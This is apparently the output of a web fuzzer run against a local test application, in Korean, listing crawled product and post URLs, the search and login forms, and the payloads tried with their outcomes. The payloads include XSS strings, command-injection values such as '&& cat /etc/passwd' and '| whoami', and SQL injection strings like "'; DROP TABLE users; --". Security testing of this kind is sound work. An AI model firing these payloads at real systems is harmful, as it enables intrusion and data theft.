웹 퍼저 리포트

2025-04-10 18:45:12

목차

1. 크롤링 결과

크롤링한 URL
- http://localhost:3000/productDetail/53
- http://localhost:3000/postDetail/62
- http://localhost:3000/postDetail/65
- http://localhost:3000/productDetail/64
- http://localhost:3000/postDetail/48
- http://localhost:3000/productDetail/39
- http://localhost:3000/productDetail/60
- http://localhost:3000/products/add
- http://localhost:3000/productDetail/8
- http://localhost:3000/productDetail/61
- http://localhost:3000/postDetail/33
- http://localhost:3000/postDetail/18
- http://localhost:3000/products?page=5
- http://localhost:3000/productDetail/25
- http://localhost:3000/productDetail/33
- http://localhost:3000/productDetail/42
- http://localhost:3000/postDetail/41
- http://localhost:3000/productDetail/9
- http://localhost:3000/postDetail/38
- http://localhost:3000/productDetail/10
- http://localhost:3000/postDetail/1
- http://localhost:3000/posts?page=4
- http://localhost:3000/postDetail/64
- http://localhost:3000/productDetail/26

- http://localhost:3000/productDetail/28
- http://localhost:3000/productDetail/68
- http://localhost:3000/productDetail/50
- http://localhost:3000/productDetail/20
- http://localhost:3000/productDetail/23
- http://localhost:3000/productDetail/14
- http://localhost:3000/postDetail/20
- http://localhost:3000/postDetail/67
- http://localhost:3000/postDetail/34
- http://localhost:3000/productDetail/63
- http://localhost:3000/productDetail/43
- http://localhost:3000/postDetail/47
- http://localhost:3000/postDetail/31
- http://localhost:3000/postDetail/2
- http://localhost:3000/postDetail/6
- http://localhost:3000/productDetail/34
- http://localhost:3000/productDetail/21
- http://localhost:3000/productDetail/7
- http://localhost:3000/products?page=1
- http://localhost:3000/productDetail/49
- http://localhost:3000/postDetail/29
- http://localhost:3000/productDetail/48
- http://localhost:3000/productDetail/24
- http://localhost:3000/productDetail/40
- http://localhost:3000/register
- http://localhost:3000/postDetail/52
- http://localhost:3000/productDetail/30

- http://localhost:3000/productDetail/57
- http://localhost:3000/postDetail/23
- http://localhost:3000/postDetail/45
- http://localhost:3000/postDetail/21
- http://localhost:3000/posts?page=5
- http://localhost:3000/postDetail/11
- http://localhost:3000/postDetail/22
- http://localhost:3000/postDetail/63
- http://localhost:3000/productDetail/45
- http://localhost:3000/postDetail/13
- http://localhost:3000/productDetail/27
- http://localhost:3000/postDetail/35
- http://localhost:3000/postDetail/57
- http://localhost:3000/productDetail/44
- http://localhost:3000/postDetail/53
- http://localhost:3000/postDetail/24
- http://localhost:3000/productDetail/36
- http://localhost:3000/postDetail/5
- http://localhost:3000/postDetail/10
- http://localhost:3000/postDetail/40
- http://localhost:3000/postDetail/68
- http://localhost:3000/productDetail/2
- http://localhost:3000/productDetail/4
- http://localhost:3000/productDetail/41
- http://localhost:3000/postDetail/49
- http://localhost:3000/postDetail/59
- http://localhost:3000/products?page=4

- http://localhost:3000/productDetail/13
- http://localhost:3000/postDetail/42
- http://localhost:3000/productDetail/54
- http://localhost:3000/productDetail/29
- http://localhost:3000/productDetail/5
- http://localhost:3000/productDetail/19
- http://localhost:3000/postDetail/39
- http://localhost:3000/productDetail/62
- http://localhost:3000/postDetail/17
- http://localhost:3000/postDetail/54
- http://localhost:3000/postDetail/25
- http://localhost:3000/productDetail/66
- http://localhost:3000/postDetail/19
- http://localhost:3000/postDetail/50
- http://localhost:3000/postDetail/56
- http://localhost:3000/postDetail/3
- http://localhost:3000/postDetail/60
- http://localhost:3000/productDetail/1
- http://localhost:3000/products?page=2
- http://localhost:3000/postDetail/55
- http://localhost:3000/productDetail/35
- http://localhost:3000/productDetail/55
- http://localhost:3000/productDetail/38
- http://localhost:3000/postDetail/37
- http://localhost:3000/productDetail/52
- http://localhost:3000/productDetail/37
- http://localhost:3000/postDetail/16

- http://localhost:3000/productDetail/56
- http://localhost:3000/postDetail/7
- http://localhost:3000/postDetail/36
- http://localhost:3000/postDetail/46
- http://localhost:3000/login
- http://localhost:3000/productDetail/51
- http://localhost:3000/postDetail/8
- http://localhost:3000/productDetail/59
- http://localhost:3000/productDetail/67
- http://localhost:3000/productDetail/65
- http://localhost:3000/posts
- http://localhost:3000/productDetail/32
- http://localhost:3000/postDetail/66
- http://localhost:3000/postDetail/43
- http://localhost:3000/productDetail/6
- http://localhost:3000/postDetail/44
- http://localhost:3000/productDetail/16
- http://localhost:3000/productDetail/47
- http://localhost:3000/
- http://localhost:3000/posts/add
- http://localhost:3000/productDetail/46
- http://localhost:3000/productDetail/22
- http://localhost:3000/posts?page=1
- http://localhost:3000/postDetail/14
- http://localhost:3000/productDetail/31
- http://localhost:3000/postDetail/32
- http://localhost:3000/postDetail/9

- http://localhost:3000/postDetail/61
- http://localhost:3000/productDetail/3
- http://localhost:3000/productDetail/11
- http://localhost:3000/productDetail/58
- http://localhost:3000/postDetail/4
- http://localhost:3000/products?page=3
- http://localhost:3000/posts?page=3
- http://localhost:3000/postDetail/26
- http://localhost:3000/postDetail/15
- http://localhost:3000/products
- http://localhost:3000/productDetail/17
- http://localhost:3000/posts?page=2
- http://localhost:3000/postDetail/30
- http://localhost:3000/productDetail/12
- http://localhost:3000/productDetail/15
- http://localhost:3000/postDetail/28
- http://localhost:3000/productDetail/18
- http://localhost:3000/postDetail/58
- http://localhost:3000/postDetail/27
- http://localhost:3000/postDetail/12
- http://localhost:3000/postDetail/51

2. 폼과 입력 필드

URL	폼 액션	메소드	입력 필드
http://localhost:3000/posts	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/products	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/login	http://localhost:3000/login	POST	username (type: text), password (type: password)

3. 퍼징 시도 및 결과

-- 취약점 발견 시도 --

XSS

폼 액션	페이로드	결과
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<img src=x onerror=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견
http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<img src=x onerror=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견

Command Injection

폼 액션	페이로드	결과
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/login	; ls	Command Injection 취약점 발견
http://localhost:3000/login	| whoami	Command Injection 취약점 발견
http://localhost:3000/login	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/login	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/login	netstat -an	Command Injection 취약점 발견

http://localhost:3000/login	ps aux	Command Injection 취약점 발견

취약점 없는 시도

폼 액션	페이로드	결과
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/login	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/login	' OR '1'='1' ({	취약점 없음
http://localhost:3000/login	' OR '1'='1' #	취약점 없음
http://localhost:3000/login	<script>alert('XSS')</script>	취약점 없음
http://localhost:3000/login	'"><script>alert('XSS')</script>	취약점 없음

http://localhost:3000/login	<img src=x onerror=alert('XSS')>	취약점 없음
http://localhost:3000/login	<svg/onload=alert('XSS')>	취약점 없음
http://localhost:3000/login	<iframe src='javascript:alert("XSS")'></iframe>	취약점 없음
http://localhost:3000/login	' OR '1'='1	취약점 없음
http://localhost:3000/login	' OR '1'='1' /*	취약점 없음
http://localhost:3000/login	admin' --	취약점 없음